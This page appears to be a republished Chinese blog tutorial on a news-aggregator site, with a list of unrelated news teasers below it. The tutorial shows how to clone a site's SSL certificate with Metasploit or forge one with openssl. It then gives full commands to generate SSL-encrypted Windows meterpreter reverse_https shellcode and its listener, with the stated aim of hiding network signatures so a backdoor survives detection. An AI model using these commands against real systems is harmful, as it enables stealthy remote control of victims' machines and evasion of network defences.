加入收藏

世界速讯:1.3 Metasploit 生成SSL加密载荷

2023-07-02 19:54:34 来源:博客园

在本节中,我们将介绍如何通过使用Metasploit生成加密载荷,以隐藏网络特征。前一章节我们已经通过Metasploit生成了一段明文的ShellCode,但明文的网络传输存在安全隐患,因此本节将介绍如何通过生成SSL证书来加密ShellCode,使得网络特征得到隐藏,从而提高后门的生存能力和抵抗网络特征分析的能力。

ShellCode 网络特征加密我们采用的是SSL(Secure Sockets Layer),现已被替换为TLS(Transport Layer Security),SSL是一种用于在Web上传输数据的安全协议。它的主要目的是确保在互联网上传输的数据在传递过程中不会被第三方窃取或篡改。SSL加密的原理是通过两个公钥和一个私钥来加密数据。公钥用于加密数据,私钥用于解密数据。在传输过程中,发送者使用接收者的公钥对数据进行加密,接收者使用自己的私钥对数据进行解密。这样,即使在网络上被窃取,数据也无法被第三方解密,从而保证了数据的安全性。

通常,SSL证书由以下几部分组成:


(资料图片)

证书主体:证明证书拥有者的信息,如域名、组织名称等。公钥:用于加密数据的公钥。私钥:用于解密数据的私钥,需要在安全的环境中保存。签名:证明证书内容是由可信任的证书颁发机构签发的。有效期:证明证书的有效期,在该期限内有效。颁发者:证明证书的颁发者,如VeriSign、GoDaddy等。1.3.1 通过MSF模块克隆证书

要想实现加密通常我们需要获取一个专属的证书文件,获取证书的方式有两种,第一种方式是通过Impersonate_SSL模块,对已有证书进行下载操作,如下命令实现了将www.lyshark.com网站中的证书下载到本地的功能,

msf6 > use auxiliary/gather/impersonate_sslmsf6 > set rhost www.lyshark.commsf6 > run

当读者执行命令后,则该证书将被下载到home/lyshark/.msf4/loot/目录下,其中包含了证书的key,crt,pem等文件,输出如下图所示;

当具备了克隆证书后,读者可在Metasploit中交互式执行如下命令实现生成带有加密功能的ShellCode代码,如下代码中通过HANDLERSSLCERT指定证书位置,并通过generate生成C语言版ShellCode代码。

msf6 > use payload/windows/meterpreter/reverse_httpsmsf6 > set STAGERVERIFYSSLCERT truemsf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pemmsf6 > set LHOST 192.168.9.135msf6 > set lport 8443msf6 > generate -f c

而对于服务端来说,在传递参数时,读者同样需要在HANDLERSSLCERT中传递私有证书,

msf6 > use exploit/multi/handlermsf6 > set payload windows/meterpreter/reverse_httpsmsf6 > set HANDLERSSLCERT /home/lyshark/.msf4/loot/20230407144733_default_59.110.117.109_59.110.117.109_p_764545.pemmsf6 > set STAGERVERIFYSSLCERT truemsf6 > set LPORT 8443msf6 > set LHOST 192.168.140.128msf6 > run -j
1.3.2 通过OpenSSL制作证书

当然读者也可用通过kali系统内自带的openssl命令生成一个新的伪造证书,OpenSSL是一个开源的安全工具,用于实现SSL/TLS协议。它提供了一系列命令行工具,可以用于生成证书、加密数据、解密数据等操作。

首先使用第一种方式生成,下面是各个参数的详细解释:

req:指定生成证书请求。new:指定生成一个新的证书请求。newkey rsa:4096:指定生成的证书的密钥长度为4096位。days 365:指定证书的有效期为365天。nodes:指定不加密私钥。x509:指定生成的证书类型为X.509证书。subj “/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com”:指定证书主题信息,其中C=UK代表国家,ST=London代表省份,L=London代表城市,O=Development代表组织,CN=www.lyshark.com代表通用名称。keyout www.lyshark.com.key:指定输出的私钥文件名。out www.lyshark.com.crt:指定输出的证书文件名。

通过这条命令,可以生成一个有效期为365天,密钥长度为4096位的X.509证书,证书主题信息为"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com",私钥文件名为www.lyshark.com.key,证书文件名为www.lyshark.com.crt。

┌──(lyshark㉿kali)-[~/lyshark]└─$ openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 -subj \"/C=UK/ST=London/L=London/O=Development/CN=www.lyshark.com" \-keyout www.lyshark.com.key -out www.lyshark.com.crt┌──(lyshark㉿kali)-[~/lyshark]└─$ cat www.lyshark.com.key www.lyshark.com.crt > www.lyshark.com.pem

接着读者可执行msfvenom命令通过非交互方式生成一段加密版的ShellCode代码片段。

┌──(lyshark㉿kali)-[~/lyshark]└─$ msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.9.135 LPORT=8443 \PayloadUUIDTracking=true PayloadUUIDName=Whoamishell \HandlerSSLCert=/root/test/www.lyshark.com.pem \StagerVerifySSLCert=true -f c -o /root/test.c

服务端启用侦听模式,并通过HandlerSSLCert传入同样的证书私钥即可。

msf6 > use exploit/multi/handlermsf6 > set payload windows/meterpreter/reverse_httpsmsf6 > set LHOST 192.168.9.135msf6 > set LPORT 8443msf6 > set HandlerSSLCert /root/test/www.baidu.com.pemmsf6 > set StagerVerifySSLCert truemsf6 > exploit -j -z

关键词:

相关新闻

资讯

微信跳一跳教程_微信跳一跳有什么技巧-焦点精选
微信跳一跳教程_微信跳一跳有什么技巧-焦点精选

你们好,最近小品发现有诸多的小伙伴们对于微信跳一跳......更多>

天天讯息:加拉巴戈斯群岛(加拉巴戈海鬣蜥)
天天讯息:加拉巴戈斯群岛(加拉巴戈海鬣蜥)

当前大家对于加拉巴戈海鬣蜥都是颇为感兴趣的,大家都......更多>

天天热资讯!民法典关于合同无效的五种情形有哪些
天天热资讯!民法典关于合同无效的五种情形有哪些

民法典关于合同无效的五种情形主要是合同当事人不具备......更多>

福仕达腾达7座_福仕达腾达_世界快看
福仕达腾达7座_福仕达腾达_世界快看

当前大家对于福仕达腾达都是颇为感兴趣的,大家都想要......更多>

焦点消息!处方单丢了怎么补(处方单)
焦点消息!处方单丢了怎么补(处方单)

处方单丢了怎么补,处方单这个很多人还不知道,现在让......更多>

【世界报资讯】前台招聘要求模板(前台招聘要求)
【世界报资讯】前台招聘要求模板(前台招聘要求)

台招聘要求模板,前台招聘要求这个问题很多朋友还不知......更多>

德国推出9亿欧元补贴计划 加速电动汽车充电桩建设
德国推出9亿欧元补贴计划 加速电动汽车充电桩建设

根据德国交通部于6月29日的宣布,德国政府将拨出高达9......更多>

【环球速看料】黑龙江省海林市发布雷雨大风橙色预警
【环球速看料】黑龙江省海林市发布雷雨大风橙色预警

海林市气象台2023年7月1日10时32分升级雷雨大风黄色预......更多>

受赛车启发的大众高尔夫GTI TCR达到286bhp
受赛车启发的大众高尔夫GTI TCR达到286bhp

大众汽车已经发布了一个热的草图高尔夫GTITCR,这将坐......更多>

全球速讯:45天变28天,广汕高铁电力保障工程提前送电
全球速讯:45天变28天,广汕高铁电力保障工程提前送电

6月29日6时20分,国家“八纵八横”高速铁路大通道甬广......更多>

关注

已知关于x的方程x的平方-_2k+1x+_已知关于x的方程x的平方减2k加1_当前快看
已知关于x的方程x的平方-_2k+1x+_已知关于x的方程x的平方减2k加1_当前快看
1、(2k+1)²-4(k²+2k)≥01-4k≥0k≤1 4。本文到... 更多>
已知关于x的方程x的平方-_2k+1x+_已知关于x的方程x的平方减2k加1_当前快看
1、(2k+1)²-4(k²+2k)≥01-4k≥0k≤1 4。本文到... 更多>
全球看点:2023年医保药品目录调整方案,有哪些亮点?
从7月1日开始,2023年医保药品目录调整正式开启申报工... 更多>
记者采访官员被反问多宣传好的不行吗 到底是怎么回事?-全球微资讯
【记者采访官员被反问多宣传好的不行吗】近日,音乐节... 更多>
面向科技前沿打造人才高地|天天热讯
【人才强国新征程】自天安门广场一路向西,复兴路北侧... 更多>
“我是小小中国娃”爱国主义教育活动第一站走进延川县文安驿镇中心小学
6月28日,“我是小小中国娃”爱国主义教育活动走进延... 更多>
完赛都有奖牌!2023广州·海珠首届中国自行车运动骑游大会开启
7月2日上午,由中国自行车运动协会、广州市体育局、广... 更多>
广州7月1日起住房公积金贷款可“线上代办”
广州住房公积金管理中心近日率先在全国试行中介机构、... 更多>
全球新消息丨今天开始!辛集又要发消费券啦……
好消息!你买车我补贴!95万元政府汽车消费券来啦!一... 更多>
产能翻番,苹果代工厂LG Innotek斥资71.5亿元扩建越南摄像头模组工厂 全球热点
这条生产线投入使用之后,可以将越南工厂的相机模块产... 更多>
“童筑心愿”助学包发放仪式在从化举行 全球短讯
7月1日,由广州市从化区民政局指导,广州市东升公益基... 更多>
全球热推荐:男子责怪民警耽误自己“投资”,没想到第二天……
股民们注意了电诈分子伪装成股市行情专家发布炒股相关... 更多>
拓宽扩大内需“最先一公里”_世界微资讯
当前,全球需求放缓对我国经济企稳回升形成一定外部压... 更多>